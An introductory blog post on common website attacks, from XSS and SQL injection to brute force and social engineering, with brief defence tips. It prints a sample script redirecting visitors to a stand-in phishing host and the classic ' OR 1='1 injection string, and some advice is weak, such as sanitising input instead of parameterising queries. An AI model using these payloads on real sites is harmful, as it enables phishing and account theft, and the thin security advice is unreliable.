Web Security 101

If you own or run a website, there are few basic security topics which are worthwhile knowing about. This post will not go into too much technical detail, but aims to give a good idea of some of the most common attacks that can be made on a website.

1. XSS - Cross Site Scripting
2. CSRF - Cross Site Request Forgery & Session Fixation
3. SQL Injection
4. File Upload Attack
5. Man-in-the-Middle Attack
6. Denial of Service
7. Brute Force Attack
8. Social Engineering

Script Injection and Phishing

Cross-Site scripting (XSS) is where users manage to inject scripts into your database that will end up executing on other users machines. For a (completely unrealistic) example: if you posted the following on someone’s MySpace page:


<script type="text/javascript">

window.location=’http://myspace.evilserver.com/login.html

</script>

Then, you as the lucky owner of evilserver.com setup a subdomain called myspace and a page called login.html that looks exactly the same as MySpace’s one. So what does that do?

When people view the MySpace page of the person you posted the comment on, the JavaScript you posted will get executed in their browser, and they will be redirected to your phishing site. They see the word myspace in the address and the design exactly same as usual, they may mistakenly type in their details. Which, of course, get directly emailed to you. You try and log into their email address with the email and password they typed to login. Once you’ve got access to a few email addresses, who knows what else you can get access to.

So why is this a completely unrealistic example?

Because MySpace would never allow you to post such a malicious script on their server where it could reach other users.

That said, however, definitely check out the Samy is My Hero Myspace Worm - where a very smart guy made a cool worm that ran rampant on MySpace by injecting Javascript.

So how do I protect against XSS?

PHP has a function strip_tags that is good start. Much better would be to use a html purifier.

CSRF: Cross Site Request Forgery & Session Fixation

This one is a little trickier. *Somehow* get a session ID from someone. A few of the other techniques discussed in this article such as injection, file upload or man-in-the-middle attacks would be the way to get a session id. But they’re certainly not the only way.

Once you’ve got some poor sap’s session ID with a server, you can set a cookie at your end that identifies yourself as being assigned that session, and the web application lets you right in the front door.

Imagine this one as using a stolen photo ID. The banks are going to laugh in your face when you try to withdraw “your” money; but who knows - you might be able to buy liquor with it.

Sql Injection

Let’s look at the following extremely simple database query. To presumably let you see the contents of your bank account if you supply the right password.

$sql = “SELECT * FROM bank_account WHERE password=’$password’”;

What would happen if the supplied password was:

' OR 1='1

I’m thinking you’d end up with a query that looks like this:

SELECT * FROM bank_account WHERE password='' OR 1='1'

Uh oh!

So how do I stop this from happening on my site?

The answer is fairly simple here. Force the input from the user into the exact format you require. If they have to enter a number, take any non-numbers out of their response before you run it in a query.

There are all sorts of models and such for avoiding this sort of thing but personally I prefer to just check the user input more rigourously.

File Upload Attack

If you allow people to upload photos to your site, but someone instead uploads a file, say, delete-contents-of-server.php - they only have to request that script in their browser, and you’re in trouble.

So, as usual: Scrutinize all user input. Check MIME types, file extensions and size to be sure.

Mime types can be faked, though I’m buggered if I could figure out how. If anyone knows, please tell me. I was thinking sniffing packets and trying to recreate a file upload request to a server.

Anyway, point being. Check *all* user input.

Man-in-the-Middle Attack

Usually when you send an email or type in a web address that information will be transmitted in plain text to your Internet Service Provider, which then passes on your request. There is no reason why someone “upstream” from you could not just read any information you send.

This makes most people paranoid about sending Credit Card Information - and rightly so!

That’s where encryption comes in. “Encode” the information you want to send (let’s say, your credit card number) into an unreadable format (looks like gibberish!), send it to the Online Shop, which will then “Decode” that information using a secret key, and use the original information (charge your credit card).

The current standard for transmitting information securely is SSL (Secure Socket Layer). Note there are even vulnerabilities with SSL - but for the most part you can trust that little lock icon in your browser.

Denial of Service

If a whole bunch of computers ask one single computer for information at the same time, that one computer chokes up, trying to service too many requests - it then shuts down, stopping legitimate users from using it. This is the basic idea behind a DoS attack. Actually orchestrating one can be extremely difficult, and unless you run a very high profile site, is generally not likely to happen to you.

Here is a very interesting current bit of trivia about DoS used in actual war!

Brute Force Attack

Imagine banging your head against a door until it opens. You might get lucky, shattering through through on the billionth hit. Then again you could be banging it into solid concrete, and will continue doing so for all eternity.

The basic idea of a brute force attack is you have a huge list of possible passwords (say a dictionary), or you simply generate combinations of characters. You then continually ask the system “Is this my password? No? How about this one? This one?”. This attack is just as clever as it sounds.

That said, a computer can generally ask many thousands of questions per second - but in the client/server arrangement typical on the web, those questions have to wait transmitted, which takes time - and the server can always just stop servicing the client’s login attempts.

Social Engineering

For all the potential ways to exploit computer systems, the unfortunate truth for many would-be crackers is: most serious systems are actually smart enough to avoid these sort of basic vulnerabilities.

But people aren’t

Your business could spend thousands on awesome security, but if someone rings up your new office intern, identifies themselves as a computer tech and asks for your FTP password… well… you figure it out.

Solution: Encrypt and obfuscate information so if anyone actually gets access to your database at least they don’t have a bunch of passwords and credit card numbers.

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.